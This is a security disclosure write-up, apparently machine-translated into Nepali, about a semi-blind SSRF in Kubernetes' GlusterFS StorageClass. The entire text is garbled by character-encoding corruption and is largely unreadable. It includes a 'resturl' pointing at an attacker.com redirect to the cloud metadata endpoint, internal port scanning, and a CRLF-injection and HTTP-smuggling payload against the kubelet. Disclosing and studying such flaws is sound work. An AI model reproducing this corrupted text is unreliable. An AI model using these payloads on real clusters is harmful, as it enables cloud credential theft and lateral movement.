рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #1: GET рдорд╛ HTTP POST рдЕрдиреБрд░реЛрдз рдкреБрди: рдирд┐рд░реНрджреЗрд╢рд┐рдд рдЧрд░реНрджреИ рд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрджреИ
рдореВрд▓ рд╡рд┐рдзрд┐ рдлрд┐рд░реНрддрд╛ рдЧрд░реНрди рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛рдХреЛ рд╕рд░реНрднрд░рдХреЛ рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рдирджреНрд╡рд╛рд░рд╛ рд╕реБрдзрд╛рд░ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ 302 HTTP рд░рд┐рдХреЛрдбPOST рдЕрдиреБрд░реЛрдзрд▓рд╛рдИ GET рдЕрдиреБрд░реЛрдзрдорд╛ рд░реВрдкрд╛рдиреНрддрд░рдг рдЧрд░реНрди (рдЪрд┐рддреНрд░рдорд╛ рдЪрд░рдг 4):
рдкрд╣рд┐рд▓реЛ рдЕрдиреБрд░реЛрдз (3) рдЧреНрд░рд╛рд╣рдХрдмрд╛рдЯ рдЖрдЙрдБрджреИрдЫ GlusterFS (рдирд┐рдпрдиреНрддреНрд░рдХ рдкреНрд░рдмрдиреНрдзрдХ), рдПрдХ POST рдкреНрд░рдХрд╛рд░ рдЫред рдпреА рдЪрд░рдгрд╣рд░реВ рдкрдЫреНрдпрд╛рдПрд░ рд╣рд╛рдореАрд▓реЗ рдпрд╕рд▓рд╛рдИ GET рдорд╛ рдкрд░рд┐рдгрдд рдЧрд░реНрди рд╕рдХреНрд╖рдо рднрдпреМрдВ:
- рдПрдХ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░ рд░реВрдкрдорд╛
resturl
StorageClass рдорд╛ рдпреЛ рд╕рдВрдХреЗрдд рдЧрд░рд┐рдПрдХреЛ рдЫhttp://attacker.com/redirect.php
. - рдЕрдиреНрддрдмрд┐рдиреНрджреБ
https://attacker.com/redirect.php
рдирд┐рдореНрди рд╕реНрдерд╛рди рд╣реЗрдбрд░рдХреЛ рд╕рд╛рде 302 HTTP рд╕реНрдерд┐рддрд┐ рдХреЛрдбрдХреЛ рд╕рд╛рде рдЬрд╡рд╛рдл рджрд┐рдиреНрдЫ:http://169.254.169.254
ред рдпреЛ рдХреБрдиреИ рдкрдирд┐ рдЕрдиреНрдп рдЖрдиреНрддрд░рд┐рдХ рд╕реНрд░реЛрдд рд╣реБрди рд╕рдХреНрдЫ - рдпрд╕ рдЕрд╡рд╕реНрдерд╛рдорд╛, рд░рд┐рдбрд┐рд░реЗрдХреНрдЯ рд▓рд┐рдЩреНрдХ рдорд╛рддреНрд░ рдЙрджрд╛рд╣рд░рдгрдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫред - рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдиреЗрдЯ/http рдкреБрд╕реНрддрдХрд╛рд▓рдп Golang рд▓реЗ рдЕрдиреБрд░реЛрдзрд▓рд╛рдИ рд░рд┐рдбрд┐рд░реЗрдХреНрдЯ рдЧрд░реНрдЫ рд░ POST рд▓рд╛рдИ 302 рд╕реНрдЯреЗрдЯрд╕ рдХреЛрдбрдХреЛ рд╕рд╛рде GET рдорд╛ рд░реВрдкрд╛рдиреНрддрд░рдг рдЧрд░реНрдЫ, рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рд▓рдХреНрд╖реНрдп рд╕реНрд░реЛрддрдорд╛ HTTP GET рдЕрдиреБрд░реЛрдз рд╣реБрдиреНрдЫред
HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдкрдвреНрдирдХреЛ рд▓рд╛рдЧрд┐ рддрдкрд╛рдИрдВрд▓реЗ рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫ describe
PVC рд╡рд╕реНрддреБ:
kubectl describe pvc xxx
рдпрд╣рд╛рдБ JSON рдврд╛рдБрдЪрд╛рдорд╛ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдХреЛ рдЙрджрд╛рд╣рд░рдг рдЫ рдЬреБрди рд╣рд╛рдореАрд▓реЗ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рд╕рдХреНрд╖рдо рдерд┐рдпреМрдВ:
рддреНрдпрд╕ рд╕рдордпрдорд╛ рдлреЗрд▓рд╛ рдкрд░реЗрдХреЛ рдЬреЛрдЦрд┐рдордХреЛ рдХреНрд╖рдорддрд╛рд╣рд░реВ рдирд┐рдореНрди рдмреБрдБрджрд╛рд╣рд░реВрдХреЛ рдХрд╛рд░рдгрд▓реЗ рд╕реАрдорд┐рдд рдерд┐рдП:
- рдмрд╛рд╣рд┐рд░ рдЬрд╛рдиреЗ рдЕрдиреБрд░реЛрдзрдорд╛ HTTP рд╣реЗрдбрд░рд╣рд░реВ рд╕рдореНрдорд┐рд▓рд┐рдд рдЧрд░реНрди рдЕрд╕рдХреНрд╖рдорддрд╛ред
- рд╢рд░реАрд░рдорд╛ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВрд╕рдБрдЧ POST рдЕрдиреБрд░реЛрдз рдЧрд░реНрди рдЕрд╕рдХреНрд╖рдорддрд╛ (рдпреЛ рдЪрд▓рд┐рд░рд╣реЗрдХреЛ etcd рдЙрджрд╛рд╣рд░рдгрдмрд╛рдЯ рдХреБрдЮреНрдЬреА рдорд╛рди рдЕрдиреБрд░реЛрдз рдЧрд░реНрди рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдЫред 2379 рдпрджрд┐ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдирдЧрд░рд┐рдПрдХреЛ HTTP рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдПрдХреЛ рдЫ рднрдиреЗ рдкреЛрд░реНрдЯ)ред
- рд╕реНрдерд┐рддрд┐ рдХреЛрдб 200 рднрдПрдХреЛ рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдорд╛ JSON рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдирднрдПрдХреЛ рдмреЗрд▓рд╛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореБрдЦреНрдп рд╕рд╛рдордЧреНрд░реА рдкреБрди: рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рдЕрд╕рдХреНрд╖рдорддрд╛ред
рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #2: рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрджреИ
рдпреЛ рдЕрд░реНрдз-рдЕрдиреНрдзреЛ SSRF рд╡рд┐рдзрд┐ рддреНрдпрд╕рдкрдЫрд┐ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрдХреЛ рдЖрдиреНрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрди рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рд╣рд░реВрдХреЛ рдЖрдзрд╛рд░рдорд╛ рд╡рд┐рднрд┐рдиреНрди рд╕реБрдиреНрдиреЗ рд╕реЗрд╡рд╛рд╣рд░реВ (рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдЙрджрд╛рд╣рд░рдг, рдХреБрдмреЗрд▓реЗрдЯ, рдЗрддреНрдпрд╛рджрд┐, рдЖрджрд┐) рдкреЛрд▓ рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдпреЛред kube рдирд┐рдпрдиреНрддреНрд░рдХ.
рдкрд╣рд┐рд▓реЗ, Kubernetes рдХрдореНрдкреЛрдиреЗрдиреНрдЯрд╣рд░реВрдХреЛ рдорд╛рдирдХ рд╕реБрдиреНрдиреЗ рдкреЛрд░реНрдЯрд╣рд░реВ рдирд┐рд░реНрдзрд╛рд░рдг рдЧрд░рд┐рдпреЛ (8443, 10250, 10251, рдЖрджрд┐), рд░ рддреНрдпрд╕рдкрдЫрд┐ рд╣рд╛рдореАрд▓реЗ рд╕реНрдХреНрдпрд╛рдирд┐рдЩ рдкреНрд░рдХреНрд░рд┐рдпрд╛рд▓рд╛рдИ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЧрд░реНрдиреБрдкрд░реНтАНрдпреЛред
рд╕реНрд░реЛрддрд╣рд░реВ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрдиреЗ рдпреЛ рд╡рд┐рдзрд┐ рдзреЗрд░реИ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЫ рд░ рдХреНрд▓рд╛рд╕рд┐рдХ рд╕реНрдХреНрдпрд╛рдирд░рд╣рд░реВ рд░ SSRF рдЙрдкрдХрд░рдгрд╣рд░реВрд╕рдБрдЧ рдорд┐рд▓реНрджреЛ рдЫреИрди рднрдиреЗрд░ рджреЗрдЦреЗрд░, рд╣рд╛рдореАрд▓реЗ рд╕рдореНрдкреВрд░реНрдг рдкреНрд░рдХреНрд░рд┐рдпрд╛рд▓рд╛рдИ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЧрд░реНрдиреЗ рдмрд╛рд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯрдорд╛ рд╣рд╛рдореНрд░рд╛ рдЖрдлреНрдиреИ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛рд╣рд░реВ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрдиреЗ рдирд┐рд░реНрдгрдп рдЧрд░реНрдпреМрдВред
рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдЖрдиреНрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХрдХреЛ рджрд╛рдпрд░рд╛ 172.16.0.0/12 рджреНрд░реБрдд рд░реВрдкрдорд╛ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрди, 15 рдХрд╛рдорджрд╛рд░рд╣рд░реВ рд╕рдорд╛рдирд╛рдиреНрддрд░ рд░реВрдкрдорд╛ рд╕реБрд░реВ рдЧрд░рд┐рдпреЛред рдорд╛рдерд┐рдХреЛ IP рджрд╛рдпрд░рд╛рд▓рд╛рдИ рдЙрджрд╛рд╣рд░рдгрдХреЛ рд░реВрдкрдорд╛ рдорд╛рддреНрд░ рдЪрдпрди рдЧрд░рд┐рдПрдХреЛ рдЫ рд░ рддрдкрд╛рдИрдВрдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рдпрдХрдХреЛ IP рджрд╛рдпрд░рд╛рдорд╛ рдкрд░рд┐рд╡рд░реНрддрди рд╣реБрди рд╕рдХреНрдЫред
рдПрдЙрдЯрд╛ IP рдареЗрдЧрд╛рдирд╛ рд░ рдПрдЙрдЯрд╛ рдкреЛрд░реНрдЯ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрди, рддрдкрд╛рдИрдВрд▓реЗ рдирд┐рдореНрди рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫ:
- рдЕрдиреНрддрд┐рдо рдЬрд╛рдБрдЪ рдЧрд░рд┐рдПрдХреЛ StorageClass рдореЗрдЯрд╛рдЙрдиреБрд╣реЛрд╕реН;
- рдЕрдШрд┐рд▓реНрд▓реЛ рдкреНрд░рдорд╛рдгрд┐рдд рдирд┐рд░рдиреНрддрд░ рднреЛрд▓реНрдпреБрдо рджрд╛рд╡реА рд╣рдЯрд╛рдЙрдиреБрд╣реЛрд╕реН;
- рдЖрдИрдкреА тАЛтАЛрд░ рдкреЛрд░реНрдЯ рдорд╛рдирд╣рд░реВ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдиреБрд╣реЛрд╕реН
sc.yaml
; - рдирдпрд╛рдБ рдЖрдИрдкреА рд░ рдкреЛрд░реНрдЯрдХреЛ рд╕рд╛рде рд╕реНрдЯреЛрд░реЗрдЬ рдХреНрд▓рд╛рд╕ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрдиреБрд╣реЛрд╕реН;
- рдирдпрд╛рдБ рдкреАрд╡реАрд╕реА рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрдиреБрд╣реЛрд╕реН;
- PVC рдХреЛ рд▓рд╛рдЧрд┐ рд╡рд░реНрдгрди рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рд╕реНрдХреНрдпрд╛рди рдкрд░рд┐рдгрд╛рдорд╣рд░реВ рдирд┐рдХрд╛рд▓реНрдиреБрд╣реЛрд╕реНред
рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #3: CRLF рдЗрдВрдЬреЗрдХреНрд╢рди + Kubernetes рдХреНрд▓рд╕реНрдЯрд░рдХреЛ "рдкреБрд░рд╛рдиреЛ" рд╕рдВрд╕реНрдХрд░рдгрд╣рд░реВрдорд╛ HTTP рддрд╕реНрдХрд░реА
рдпрджрд┐ рдпрд╕рдХрд╛ рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░рджрд╛рдпрдХрд▓реЗ рдЧреНрд░рд╛рд╣рдХрд╣рд░реВрд▓рд╛рдИ K8s рдХреНрд▓рд╕реНрдЯрд░рдХреЛ рдкреБрд░рд╛рдиреЛ рд╕рдВрд╕реНрдХрд░рдгрд╣рд░реВ рдкреНрд░рд╕реНрддрд╛рд╡ рдЧрд░реНрдпреЛ ╨╕ рддрд┐рдиреАрд╣рд░реВрд▓рд╛рдИ kube-controller-manager рдХреЛ рд▓рдЧрд╣рд░реВрдорд╛ рдкрд╣реБрдБрдЪ рджрд┐рдпреЛ, рдкреНрд░рднрд╛рд╡ рдЕрдЭ рдорд╣рддреНрддреНрд╡рдкреВрд░реНрдг рднрдпреЛред
рдпреЛ рд╡рд╛рд╕реНрддрд╡рдорд╛ рдПрдХ рдЖрдХреНрд░рдордгрдХрд╛рд░реАрдХреЛ рд▓рд╛рдЧрд┐ HTTP рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рдзреЗрд░реИ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдЫ рдЬреБрди рдЙрд╕рдХреЛ рд╡рд┐рд╡реЗрдХрдорд╛ рдкреВрд░реНрдг HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рдбрд┐рдЬрд╛рдЗрди рдЧрд░рд┐рдПрдХреЛ рдЫред
рдЕрдиреНрддрд┐рдо рдкрд░рд┐рджреГрд╢реНрдп рд▓рд╛рдЧреВ рдЧрд░реНрди, рдирд┐рдореНрди рд╕рд░реНрддрд╣рд░реВ рдкреВрд░рд╛ рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдерд┐рдпреЛ:
- рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╕рдБрдЧ kube-controller-manager рд▓рдЧрд╣рд░реВрдорд╛ рдкрд╣реБрдБрдЪ рд╣реБрдиреБрдкрд░реНрдЫ (рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, Azure LogInsights рдорд╛)ред
- Kubernetes рдХреНрд▓рд╕реНрдЯрд░рд▓реЗ 1.12 рднрдиреНрджрд╛ рдХрдо Golang рдХреЛ рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреБрдкрд░реНрдЫред
рд╣рд╛рдореАрд▓реЗ GlusterFS Go рдХреНрд▓рд╛рдЗрдиреНрдЯ рд░ рдирдХреНрдХрд▓реА рд▓рдХреНрд╖реНрдп рд╕рд░реНрднрд░ (рд╣рд╛рдореА рдЕрд╣рд┐рд▓реЗрдХреЛ рд▓рд╛рдЧрд┐ PoC рдкреНрд░рдХрд╛рд╢рд┐рдд рдЧрд░реНрдирдмрд╛рдЯ рдЯрд╛рдврд╛ рд░рд╣рдиреЗрдЫреМрдВ) рдмреАрдЪрдХреЛ рд╕рдВрдЪрд╛рд░рд▓рд╛рдИ рдирдХреНрдХрд▓ рдЧрд░реНрдиреЗ рд╕реНрдерд╛рдиреАрдп рд╡рд╛рддрд╛рд╡рд░рдг рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдпреМрдВред
рдлреЗрд▓рд╛ рдкрд░реЗрдХреЛ рдерд┐рдпреЛ
рдорд╛рдерд┐ рд╡рд░реНрдгрди рдЧрд░рд┐рдПрдХреЛ рдЕрд░реНрдз-рдЕрдиреНрдзреЛ SSRF рдХреЛ рд╕рдВрдпреЛрдЬрди рдЧрд░реЗрд░ рдПрдХ рд╕рд╛рде рдпрд╕рдХрд╛ рд╕рд╛рде, рд╣рд╛рдореАрд▓реЗ рд╣реЗрдбрд░рд╣рд░реВ, HTTP рд╡рд┐рдзрд┐, рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВ рд░ рдбреЗрдЯрд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдЧрд░реНрдиреЗ, рдЬреБрди kube-controller-manager рддреНрдпрд╕рдкрдЫрд┐ рдкреНрд░рд╢реЛрдзрди рдЧрд░реНрдиреЗ рд╕рд╣рд┐рдд рд╣рд╛рдореНрд░реЛ рдордирдкрд░реНрдиреЗ рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдкрдард╛рдЙрди рд╕рдХреНрд╖рдо рднрдпреМрдВред
рдпрд╣рд╛рдБ рдПрдХ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░ рдорд╛ рдХрд╛рдо "рдЪрд╛рд░рд╛" рдХреЛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдЫ resturl
StorageClass, рдЬрд╕рд▓реЗ рд╕рдорд╛рди рдЖрдХреНрд░рдордг рдкрд░рд┐рджреГрд╢реНрдп рд▓рд╛рдЧреВ рдЧрд░реНрджрдЫ:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn
рдкрд░рд┐рдгрд╛рдо рддреНрд░реБрдЯрд┐ рд╣реЛ рдЕрд╡рд╛рдВрдЫрд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛, рдПрдЙрдЯрд╛ рд╕рдиреНрджреЗрд╢ рдЬрд╕рдХреЛ рдмрд╛рд░реЗрдорд╛ рдирд┐рдпрдиреНрддреНрд░рдХ рд▓рдЧрд╣рд░реВрдорд╛ рд░реЗрдХрд░реНрдб рдЧрд░рд┐рдПрдХреЛ рдЫред рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд░реВрдкрдорд╛ рд╕рдХреНрд╖рдо рдкрд╛рд░рд┐рд╢реНрд░рдорд┐рдХрдХреЛ рд▓рд╛рдЧрд┐ рдзрдиреНрдпрд╡рд╛рдж, HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдиреНрджреЗрд╢рдХреЛ рд╕рд╛рдордЧреНрд░реАрд╣рд░реВ рдкрдирд┐ рддреНрдпрд╣рд╛рдБ рд╕реБрд░рдХреНрд╖рд┐рдд рдЫрдиреНред
рдпреЛ рдЕрд╡рдзрд╛рд░рдгрд╛ рдХреЛ рдкреНрд░рдорд╛рдг рдХреЛ рд░реВрдкрд░реЗрдЦрд╛ рднрд┐рддреНрд░ рд╣рд╛рдореНрд░реЛ рд╕рдмреИрднрдиреНрджрд╛ рдкреНрд░рднрд╛рд╡рдХрд╛рд░реА "рдЪрд╛рд░рд╛" рдерд┐рдпреЛред
рдпреЛ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░, рд╣рд╛рдореАрд▓реЗ рд╡рд┐рднрд┐рдиреНрди рд╡реНрдпрд╡рд╕реНрдерд┐рдд k8s рдкреНрд░рджрд╛рдпрдХрд╣рд░реВрдХреЛ рдХреНрд▓рд╕реНрдЯрд░рд╣рд░реВрдорд╛ рдирд┐рдореНрди рдХреЗрд╣реА рдЖрдХреНрд░рдордгрд╣рд░реВ рдЧрд░реНрди рд╕рдХреНрд╖рдо рдерд┐рдпреМрдВ: рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдЙрджрд╛рд╣рд░рдгрд╣рд░реВрдорд╛ рдкреНрд░рдорд╛рдгрд╣рд░реВрдХреЛ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐, etcd рдорд╛рд╕реНрдЯрд░ рдЙрджрд╛рд╣рд░рдгрд╣рд░реВрдорд╛ HTTP рдЕрдиреБрд░реЛрдзрд╣рд░реВ (рдЕрдирдЗрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб) тАЛтАЛрдорд╛рд░реНрдлрдд рдорд╛рд╕реНрдЯрд░ DoS, рдЖрджрд┐ред
рдкрд░рд┐рдгрд╛рдорд╣рд░реВ
рд╣рд╛рдореАрд▓реЗ рдкрддреНрддрд╛ рд▓рдЧрд╛рдПрдХреЛ SSRF рдЬреЛрдЦрд┐рдордХреЛ рдмрд╛рд░реЗрдорд╛ Kubernetes рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдХрдердирдорд╛, рдпрд╕рд▓рд╛рдИ рдореВрд▓реНрдпрд╛рдЩреНрдХрди рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ CVSS рем.рей/резреж: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:Nред рдпрджрд┐ рд╣рд╛рдореАрд▓реЗ Kubernetes рдкрд░рд┐рдзрд┐, рдЕрдЦрдгреНрдбрддрд╛ рднреЗрдХреНрдЯрд░рд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рдЬреЛрдЦрд┐рдорд▓рд╛рдИ рдорд╛рддреНрд░ рд╡рд┐рдЪрд╛рд░ рдЧрд░реНрдЫреМрдВ (рдЕрдЦрдВрдбрддрд╛ рд╡реЗрдХреНрдЯрд░) рдХреЛ рд░реВрдкрдорд╛ рдпреЛрдЧреНрдп рд╣реБрдиреНрдЫ рдХреБрдиреИ рдкрдирд┐.
рдпрджреНрдпрдкрд┐, рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╕реЗрд╡рд╛ рд╡рд╛рддрд╛рд╡рд░рдгрдХреЛ рд╕рдиреНрджрд░реНрднрдорд╛ рд╕рдореНрднрд╛рд╡рд┐рдд рдкрд░рд┐рдгрд╛рдорд╣рд░реВрдХреЛ рдореВрд▓реНрдпрд╛рдЩреНрдХрди рдЧрд░реНрджреИ (рд░ рдпреЛ рд╣рд╛рдореНрд░реЛ рдЕрдиреБрд╕рдиреНрдзрд╛рдирдХреЛ рд╕рдмреИрднрдиреНрджрд╛ рдЪрд╛рдЦрд▓рд╛рдЧреНрджреЛ рднрд╛рдЧ рдерд┐рдпреЛ!) рд▓реЗ рд╣рд╛рдореАрд▓рд╛рдИ рдХрдордЬреЛрд░реАрд▓рд╛рдИ рдореВрд▓реНрдпрд╛рдЩреНрдХрдирдорд╛ рдкреБрди: рд╡рд░реНрдЧреАрдХрд░рдг рдЧрд░реНрди рдкреНрд░реЗрд░рд┐рдд рдЧрд░реНтАНрдпреЛред рдХреНрд░рд┐рдЯрд┐рдХрд▓ CVSS10/10 рдзреЗрд░реИ рд╡рд┐рддрд░рдХрд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ред
рдХреНрд▓рд╛рдЙрдб рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ рд╕рдореНрднрд╛рд╡рд┐рдд рдкреНрд░рднрд╛рд╡рд╣рд░реВрдХреЛ рдореВрд▓реНрдпрд╛рдЩреНрдХрди рдЧрд░реНрджрд╛ рд╣рд╛рдореНрд░рд╛ рд╡рд┐рдЪрд╛рд░рд╣рд░реВ рдмреБрдЭреНрди рдорджреНрджрдд рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рддрд▓ рдердк рдЬрд╛рдирдХрд╛рд░реА рдЫ:
рдирд┐рд╖реНрдард╛
- рдкреНрд░рд╛рдкреНрдд рдЖрдиреНрддрд░рд┐рдХ рдкреНрд░рдорд╛рдгрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдЯрд╛рдвреИрдмрд╛рдЯ рдЖрджреЗрд╢рд╣рд░реВ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдиреБрд╣реЛрд╕реНред
- рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХрдорд╛ рдкрд╛рдЗрдиреЗ рдЕрдиреНрдп рд╕реНрд░реЛрддрд╣рд░реВрд╕рдБрдЧ IDOR (Insecure Direct Object Reference) рд╡рд┐рдзрд┐ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдорд╛рдерд┐рдХреЛ рдкрд░рд┐рджреГрд╢реНрдп рдкреБрди: рдЙрддреНрдкрд╛рджрди рдЧрд░реНрджреИред
рдЧреЛрдкреНрдпрддрд╛
- рдЖрдХреНрд░рдордгрдХреЛ рдкреНрд░рдХрд╛рд░
рдкрд╛рд░реНрд╢реНрд╡ рдЖрдиреНрджреЛрд▓рди рдХреНрд▓рд╛рдЙрдб рдкреНрд░рдорд╛рдгрд╣рд░реВ рдЪреЛрд░реА рдЧрд░реНрдирдХрд╛ рд▓рд╛рдЧрд┐ рдзрдиреНрдпрд╡рд╛рдж (рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдореЗрдЯрд╛рдбреЗрдЯрд╛ API)ред - рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдХреНрдпрд╛рди рдЧрд░реЗрд░ рдЬрд╛рдирдХрд╛рд░реА рд╕рдЩреНрдХрд▓рди рдЧрд░реНрджреИ (SSH рд╕рдВрд╕реНрдХрд░рдг, HTTP рд╕рд░реНрднрд░ рд╕рдВрд╕реНрдХрд░рдг, ...)ред
- рдореЗрдЯрд╛рдбреЗрдЯрд╛ API (
http://169.254.169.254
, ...)ред - рдХреНрд▓рд╛рдЙрдб рдкреНрд░рдорд╛рдгрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдЧреНрд░рд╛рд╣рдХ рдбреЗрдЯрд╛ рдЪреЛрд░реАред
рдЙрдкрд▓рдмреНрдзрддрд╛
рдЖрдХреНрд░рдордг рднреЗрдХреНрдЯрд░рд╣рд░реВрд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рд╕рдмреИ рд╢реЛрд╖рдг рдкрд░рд┐рджреГрд╢реНрдпрд╣рд░реВ рдЕрдЦрдгреНрдбрддрд╛, рд╡рд┐рдирд╛рд╢рдХрд╛рд░реА рдХрд╛рд░реНрдпрд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫ рд░ рдЧреНрд░рд╛рд╣рдХ рдкрд░рд┐рдзрд┐ (рд╡рд╛ рдХреБрдиреИ рдЕрдиреНрдп) рдЕрдиреБрдкрд▓рдмреНрдз рд╣реБрдирдмрд╛рдЯ рдорд╛рд╕реНрдЯрд░ рдЙрджрд╛рд╣рд░рдгрд╣рд░реВрдХреЛ рдиреЗрддреГрддреНрд╡ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред
рд╣рд╛рдореА рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд┐рдд K8s рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ рдерд┐рдпреМрдВ рд░ рдЕрдЦрдгреНрдбрддрд╛рдорд╛ рдкреНрд░рднрд╛рд╡рдХреЛ рдореВрд▓реНрдпрд╛рдЩреНрдХрди рдЧрд░реНрджреИ, рд╣рд╛рдореА рдЙрдкрд▓рдмреНрдзрддрд╛рд▓рд╛рдИ рдЕрд╕рд░ рдЧрд░реНрди рд╕рдХреНрдиреЗ рдзреЗрд░реИ рдкрд░рд┐рджреГрд╢реНрдпрд╣рд░реВ рдХрд▓реНрдкрдирд╛ рдЧрд░реНрди рд╕рдХреНрдЫреМрдВред рдЕрддрд┐рд░рд┐рдХреНрдд рдЙрджрд╛рд╣рд░рдгрд╣рд░реВрдорд╛ etcd рдбрд╛рдЯрд╛рдмреЗрд╕ рднреНрд░рд╖реНрдЯ рд╡рд╛ Kubernetes API рдорд╛ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрд▓ рдЧрд░реНрдиреЗ рд╕рдорд╛рд╡реЗрд╢ рдЫред
рд╕рдордпрд░реЗрдЦрд╛
- рдбрд┐рд╕реЗрдореНрдмрд░ 6, 2019: рдЬреЛрдЦрд┐рдо MSRC рдмрдЧ рдмрд╛рдЙрдиреНрдЯреАрд▓рд╛рдИ рд░рд┐рдкреЛрд░реНрдЯ рдЧрд░рд┐рдпреЛред
